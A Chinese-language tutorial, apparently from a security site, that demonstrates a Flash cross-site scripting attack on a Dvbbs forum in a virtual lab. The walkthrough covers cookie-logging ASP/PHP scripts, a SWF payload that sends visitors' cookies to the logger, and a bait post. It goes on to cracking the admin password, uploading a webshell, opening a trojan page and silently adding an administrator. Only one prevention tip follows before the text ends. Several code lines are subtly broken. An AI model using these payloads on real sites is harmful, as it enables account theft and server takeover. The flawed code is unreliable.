Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。
虚拟机部署如下测试环境:
操作系统:windows 2003
web服务器:IIS6.0
论坛:动网Version 7.1.0 Sp1
工具
Falsh 8.0
记事本
前置知识:
首先,先说明一下什么是跨站脚本攻击(CSS/XSS)吧!我们所说跨站脚本是指在远程WEB页面的html代码中插人的其有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或XSS安全漏洞,通常指的都是跨站脚本。Flash跨站攻击是在Flash文件中插入脚本,在播放flash文件的时候脚本被触发,然后通过脚本获取用户的敏感信息或者打开具有网页木马的URL页面从而实现攻击。
一、准备
(一)准备脚本
1、ASP脚本
第一步:构造攻击脚本
打开记事本输入如下代码输入并保存为cookies_flash.asp:
<%
testfile=server.mappath("cookies.txt")
msg=request("msg")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline("&msg$")
thisfile=close
set fs=nothing
%> |
第二步:把cookies_flash.asp上传到支持asp的空间,我们就把它复制到测试环境的论坛根目录下,URL地址为:
http://192.168.0.5/flash/cookies_flash.asp
2、PHP脚本
第一步:PHP论坛和ASP论坛一样,把如下代码保存为cookies_flash.php:
<?php
$info=getenv('query_srring');
if(info){
$fp=fopen('cookies.txt,'a');
fwrite($fp,$info,'\n);
fclose($fp);
}
?> |
第二步:上传cookies_flash.php到PHP论坛根目录,比如URL地址为:
http://192.168.0.5/flash/cookies_flash.php
提示:由于ASP和PHP的Flash脚本跨站攻击方式类似,因此我们就以比较大众的ASP论坛来演示。
(二)准备Flash
第一步:运行Flash 8.0,创建一个影片,在第一帧中右键选择“动作”,输入如下代码:
| getURL("javascript.:window.open('http://192.168.0.5/flash/cookies_flash.asp?sg=$#39;+document.cookie')"); |

图1
第二步:导出影片为cookies.swf上传到论坛中,我们把它复制到测试论坛的根目录中,其URL地址为:
/pic/3/a2009-7-13-580ies.swf
补充:插入如上代码创建的Flash文件,在网页打开是会闪,不够隐蔽。用如下代码可以解决这个问题:
(上面的代码分两部分,第一部分是定义了PUrl,并对其的属性进行了设置,包括调用的页面以及页面的属性。第二部分是通过FLASH的getURL函数调用PUR1)
1.获取信息
第一步:打开论坛http://192.168.0.5/flash,注册一个用户flash_test,然后点击发表新帖,然后在标题中写入比较有诱惑力的话语,在正文中通过Flash标签插入刚才精心准备的Flash的URL地址,即/pic/3/a2009-7-13-580ies.swf。(图2)

图2
第二步:接下来就是等待了,等到你的帖子点击数不再是0的时候cookies.asp目录下的cookies.txt就能看到不少用户的cookies了。我们是测试,因此用论坛默认的管理员admin登录,然后浏览刚才发的帖子,打开flash。这样管理员的相关信息由flash脚本通过cookies_flash.asp文件及其相关参数,写入了http://192.168.0.5/flash/cookies.txt文件中。(图3)

图3
2.信息利用
(1)得到cookies后可以通过cookies欺骗,修改本机的有关flash_test用户的cookies信息为admin的,就可以欺骗进入论坛后台。这个就不演示了。
(2)通过工具爆破admin管理员密码的MD5加密值x1sfv3h775WrZ845。拷贝其通过工具破解得到管理员的密码为admin888。(默认的密码,我没有改。)(图4)

图4
提示:一定要修改论坛安装时的默认密码,而且密码一定要复杂,这样就算被Flash跨站工具获得密码的MD5值破解起来就会增加难度。
3.进入论坛后台
利用刚才得到的管理员密码,先在前台登录然后点击“管理”按钮输入用户名和密码成功进入后台。(图5)

图5
4.得到webshell
通过后台修改上传文件的类型,或者通过备份数据,上传一个网马。(图6)

图6
如果服务器设置不当或者应用程序有漏洞不需要太费尽,这台服务器就可以拿下,如果是虚拟主机的话,那有多少网站都被控制。我们的渗透到此为止。
以上的Flash跨站攻击测试只是其最常规的用法,其使用可谓博大精深,比如说将指令改为
| getURP("javascript.:window.open('http://192.168.0.5/flash/wm.html')"); |
打开了一个挂马的网站。
| getURP("javascript.:window.open('http://www.xxx.com/addadmin.asp?username=lw')"); |
提交了一个名为lw的管理员。
总结:我们通过虚拟的环境演示了Flash跨站攻击,通过准备、获取信息、利用信息,一直到得到管理员密码,进入后台,获得webshell,直至拿下服务器,可见Flash跨站攻击的危害之大。那如何防范这样的攻击呢?
四、预防Flash跨站攻击
1.在你的WEB浏览器上禁用javascript脚本,具体方法,先打开你的IE的internet选项,切换到“安全”选项卡,有个“自定义”级别,选择禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。